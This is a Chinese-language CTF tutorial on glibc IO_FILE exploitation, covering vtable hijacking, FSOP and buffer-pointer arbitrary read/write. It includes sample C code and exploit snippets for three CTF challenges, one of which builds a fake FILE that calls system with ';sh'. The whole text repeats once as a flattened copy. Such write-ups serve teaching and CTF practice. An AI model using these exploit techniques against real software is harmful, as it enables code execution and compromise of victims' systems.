IO file结构在pwn中的妙用
字数 2139 2025-08-24 20:49:22

IO File结构在Pwn中的高级利用技术

一、IO_FILE结构基础

1.1 基本数据结构

glibc通过fopen函数返回一个FILE描述符,实际是一个结构体。该结构体主要分为三部分:

  • _flags:文件流的属性标志(由fopen的mode参数决定)
  • 缓冲区:用于减少IO的系统调用
  • 文件描述符:文件流的唯一标识(如stdin=0, stdout=1)

1.2 IO_FILE结构定义

struct _IO_FILE {
    int _flags;  /* High-order word is _IO_MAGIC; rest is flags. */
    char* _IO_read_ptr;    /* Current read pointer */
    char* _IO_read_end;    /* End of get area. */
    char* _IO_read_base;   /* Start of putback+get area. */
    char* _IO_write_base;  /* Start of put area. */
    char* _IO_write_ptr;   /* Current put pointer. */
    char* _IO_write_end;   /* End of put area. */
    char* _IO_buf_base;    /* Start of reserve area. */
    char* _IO_buf_end;     /* End of reserve area. */
    /* ... 其他字段 ... */
    int _fileno;           /* 文件描述符 */
    /* ... 其他字段 ... */
};

1.3 IO_FILE_plus结构

glibc实际使用IO_FILE_plus结构包裹FILE结构,增加了vtable(虚拟函数表):

struct _IO_FILE_plus {
    FILE file;
    const struct _IO_jump_t *vtable;
};

vtable保存标准流函数底层调用的函数指针:

  • 32位系统:在FILE结构偏移0x94处
  • 64位系统:在FILE结构偏移0xd8处

二、攻击思路

2.1 针对vtable的利用

  1. 改写vtable函数指针:直接修改vtable中的函数指针,触发任意代码执行
  2. 伪造vtable:修改IO_FILE_plus的vtable指针指向伪造的vtable,布置恶意函数
  3. 伪造整个FILE结构:完全控制FILE结构的所有字段

2.2 FSOP (File-Stream-Oriented-Programming)

所有FILE结构通过链表连接(_chain字段和_IO_list_all全局变量)。通过控制链表结构可以伪造整个文件链。

_IO_flush_all_lockp函数会flush链表上的所有FILE,在以下情况自动调用:

  • 产生abort时
  • 执行exit函数时
  • main函数返回时

通过控制相关变量可实现任意代码执行。

2.3 高级利用方式(任意地址读写)

随着glibc更新,许多vtable攻击方式失效,转而关注stream_buffer控制:

  1. 控制_fileno:改变输入输出目标
  2. 控制读写指针:实现任意地址读写

三、IO缓冲区攻击技术

3.1 利用fwrite进行任意地址读

设置要求

  1. 设置_fileno为stdout(1),将信息泄露到标准输出
  2. 设置_flags & ~_IO_NO_WRITES
  3. 设置_flags |= _IO_CURRENTLY_PUTTING
  4. 设置_IO_write_base指向泄露起始地址,_IO_write_ptr指向结束地址
  5. 设置_IO_read_end == _IO_write_base

绕过检查的关键点

if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING)) {
    // 检查通过
}
if (fp->_IO_read_end != fp->_IO_write_base) {
    // 需要确保相等
}

示例代码

#include <stdio.h>
int main() {
    char* msg = "treebacker";
    FILE* fp;
    char* buf = malloc(100);
    read(0, buf, 100);
    
    fp = fopen("key.txt", "rw");
    fp->_flags &= ~8;
    fp->_flags |= 0x800;
    fp->_IO_write_base = msg;
    fp->_IO_write_ptr = msg + 10;
    fp->_IO_read_end = fp->_IO_write_base;
    fp->_fileno = 1;
    fwrite(buf, 1, 100, fp); /* 泄露msg内容 */
}

3.2 利用fread进行任意地址写

设置要求

  1. 设置_fileno为stdin(0),从标准输入读取
  2. 设置_flags &= ~_IO_NO_READS(允许写入)
  3. 设置_IO_read_ptr = _IO_read_base = NULL
  4. 设置_IO_buf_base指向写入起始地址,_IO_buf_end指向结束地址
  5. 确保buf_end - buf_base < fread size(允许写入足够数据)

关键检查代码

while (want > 0) {
    have = fp->_IO_read_end - fp->_IO_read_ptr;
    if (want <= have) {
        memcpy(s, fp->_IO_read_ptr, want);
        fp->_IO_read_ptr += want;
        want = 0;
    }
    // ...
}

示例代码

#include <stdio.h>
int main() {
    FILE* fp;
    char* buf = malloc(100);
    char msg[100];
    
    fp = fopen("key.txt", "r");
    fp->_flags &= ~4;
    fp->_IO_buf_base = msg;
    fp->_IO_buf_end = msg + 100;
    fp->_fileno = 0;
    fread(buf, 1, 6, fp); // 实际写入msg
    puts(msg);
}

四、实战案例分析

4.1 2018 HCTF the_end

漏洞分析:存在任意地址写漏洞(5次,每次1字节)

利用思路A

  1. 利用exit时调用_IO_list_all中的setbuf
  2. 伪造setbuf为one_gadget地址

关键点

  • 寻找真实vtable在libc中的偏移
  • 伪造vtable需满足写入字节限制

exp关键部分

vtables_addr = libc_base + 0x3c56f8
one_gadget = libc_base + 0x45216
fake_vtables = libc_base + 0x3c5588
target_addr = fake_vtables + 0x58  # setbuf偏移

# 修改vtable指针指向伪造位置
for i in range(2):
    p.send(p64(vtables_addr+i))
    p.send(p64(fake_vtables)[i])

# 修改setbuf为one_gadget
for i in range(3):
    p.send(p64(target_addr+i))
    p.send(p64(one_gadget)[i])

利用思路B
利用exit函数调用_dl_fini中的函数指针(_rtld_global+3848

4.2 pwntable seethefile

漏洞分析:name字段scanf存在溢出,可覆盖fd并伪造FILE结构

利用过程

  1. 伪造file结构
  2. 设置_flags & 0x2000 = 0
  3. 设置read_ptr";sh"
  4. 伪造vtable,设置flush字段为system

exp关键部分

name = 'a' * 0x20
name += p32(fake_file_addr)  # *fd = fake_file_addr

# 伪造FILE结构
fake_file = "\x00" * (fake_file_addr - fd_addr - 4)
fake_file += ((p32(0xffffdfff) + ";sh").ljust(0x94, '\x00'))
fake_file += p32(fake_file_addr + 0x98)  # fake_vtables
fake_file += p32(system_addr) * 21

4.3 BUUCTF ciscn_2019_en_3

漏洞分析

  • 只有add和delete功能(edit/show无效)
  • add操作对输入无截断
  • delete存在double free

利用思路
在没有正常输出方式时,通过控制stdout结构泄露libc地址

关键步骤

  1. 利用unsorted bin和tcache重叠,写入tcache的fd指向main_arena
  2. 通过偏移计算定位到stdout结构
  3. 修改_IO_write_base低位为0,泄露__IO_file_jumps地址

注意事项

  • 避免继续add与tcache相同大小的chunk,防止触发异常
  • 需要精确计算偏移,可能需要爆破

五、总结

IO_FILE结构利用是高级pwn技术中的重要部分,关键点包括:

  1. 理解IO_FILE和IO_FILE_plus结构布局
  2. 掌握vtable修改和伪造技术
  3. 熟练运用FSOP攻击链
  4. 掌握通过控制缓冲区指针实现任意地址读写
  5. 了解各种保护机制下的绕过方法

在实际漏洞利用中,需要结合具体环境调整攻击方式,并注意不同glibc版本间的差异。

IO File结构在Pwn中的高级利用技术 一、IO_ FILE结构基础 1.1 基本数据结构 glibc通过 fopen 函数返回一个FILE描述符,实际是一个结构体。该结构体主要分为三部分: _flags :文件流的属性标志(由fopen的mode参数决定) 缓冲区:用于减少IO的系统调用 文件描述符:文件流的唯一标识(如stdin=0, stdout=1) 1.2 IO_ FILE结构定义 1.3 IO_ FILE_ plus结构 glibc实际使用 IO_FILE_plus 结构包裹FILE结构,增加了vtable(虚拟函数表): vtable保存标准流函数底层调用的函数指针: 32位系统:在FILE结构偏移0x94处 64位系统:在FILE结构偏移0xd8处 二、攻击思路 2.1 针对vtable的利用 改写vtable函数指针 :直接修改vtable中的函数指针,触发任意代码执行 伪造vtable :修改IO_ FILE_ plus的vtable指针指向伪造的vtable,布置恶意函数 伪造整个FILE结构 :完全控制FILE结构的所有字段 2.2 FSOP (File-Stream-Oriented-Programming) 所有FILE结构通过链表连接( _chain 字段和 _IO_list_all 全局变量)。通过控制链表结构可以伪造整个文件链。 _IO_flush_all_lockp 函数会flush链表上的所有FILE,在以下情况自动调用: 产生abort时 执行exit函数时 main函数返回时 通过控制相关变量可实现任意代码执行。 2.3 高级利用方式(任意地址读写) 随着glibc更新,许多vtable攻击方式失效,转而关注stream_ buffer控制: 控制 _fileno :改变输入输出目标 控制读写指针 :实现任意地址读写 三、IO缓冲区攻击技术 3.1 利用fwrite进行任意地址读 设置要求 : 设置 _fileno 为stdout(1),将信息泄露到标准输出 设置 _flags & ~_IO_NO_WRITES 设置 _flags |= _IO_CURRENTLY_PUTTING 设置 _IO_write_base 指向泄露起始地址, _IO_write_ptr 指向结束地址 设置 _IO_read_end == _IO_write_base 绕过检查的关键点 : 示例代码 : 3.2 利用fread进行任意地址写 设置要求 : 设置 _fileno 为stdin(0),从标准输入读取 设置 _flags &= ~_IO_NO_READS (允许写入) 设置 _IO_read_ptr = _IO_read_base = NULL 设置 _IO_buf_base 指向写入起始地址, _IO_buf_end 指向结束地址 确保 buf_end - buf_base < fread size (允许写入足够数据) 关键检查代码 : 示例代码 : 四、实战案例分析 4.1 2018 HCTF the_ end 漏洞分析 :存在任意地址写漏洞(5次,每次1字节) 利用思路A : 利用exit时调用 _IO_list_all 中的 setbuf 伪造 setbuf 为one_ gadget地址 关键点 : 寻找真实vtable在libc中的偏移 伪造vtable需满足写入字节限制 exp关键部分 : 利用思路B : 利用exit函数调用 _dl_fini 中的函数指针( _rtld_global+3848 ) 4.2 pwntable seethefile 漏洞分析 :name字段scanf存在溢出,可覆盖fd并伪造FILE结构 利用过程 : 伪造file结构 设置 _flags & 0x2000 = 0 设置 read_ptr 为 ";sh" 伪造vtable,设置flush字段为system exp关键部分 : 4.3 BUUCTF ciscn_ 2019_ en_ 3 漏洞分析 : 只有add和delete功能(edit/show无效) add操作对输入无截断 delete存在double free 利用思路 : 在没有正常输出方式时,通过控制stdout结构泄露libc地址 关键步骤 : 利用unsorted bin和tcache重叠,写入tcache的fd指向main_ arena 通过偏移计算定位到stdout结构 修改 _IO_write_base 低位为0,泄露 __IO_file_jumps 地址 注意事项 : 避免继续add与tcache相同大小的chunk,防止触发异常 需要精确计算偏移,可能需要爆破 五、总结 IO_ FILE结构利用是高级pwn技术中的重要部分,关键点包括: 理解IO_ FILE和IO_ FILE_ plus结构布局 掌握vtable修改和伪造技术 熟练运用FSOP攻击链 掌握通过控制缓冲区指针实现任意地址读写 了解各种保护机制下的绕过方法 在实际漏洞利用中,需要结合具体环境调整攻击方式,并注意不同glibc版本间的差异。